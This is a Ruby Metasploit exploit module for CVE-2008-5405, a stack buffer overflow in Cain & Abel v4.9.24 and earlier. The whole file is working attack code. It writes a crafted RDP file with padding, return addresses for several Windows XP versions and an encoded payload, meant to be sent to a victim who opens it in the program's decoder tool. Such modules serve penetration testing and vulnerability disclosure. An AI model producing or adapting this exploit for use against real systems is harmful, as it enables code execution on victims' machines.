Cain & Abel <= v4.9.24 RDP Buffer Overflow.

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cain & Abel <= v4.9.24 RDP Buffer Overflow.',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24  
and below. An attacker must send the file to victim, and the victim must open  
the specially crafted RDP file under Tools -> Remote Desktop Password Decoder.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'Trancek <trancek[at]yashira.org>' ],  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2008-5405' ],  
[ 'OSVDB', '50342' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/7329' ],  
[ 'BID', '32543' ],  
],  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
# Tested ok patrickw 20090503  
[ 'Windows XP SP2 English', { 'Ret' => 0x7c82385d } ], #call esp  
[ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ], #jmp esp  
[ 'Windows XP SP2 Spanish', { 'Ret' => 0x7c951eed } ], #jmp esp  
],  
'Privileged' => false,  
'DisclosureDate' => 'Nov 30 2008',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'exploit_cain.rdp']),  
], self.class)  
  
end  
  
def exploit  
  
filerdp = rand_text_alpha_upper(8206)  
filerdp << [target.ret].pack('V') + [target.ret].pack('V')  
filerdp << payload.encoded  
print_status("Creating '#{datastore['FILENAME']}' file ...")   
  
file_create(filerdp)  
  
end  
  
end  
  
`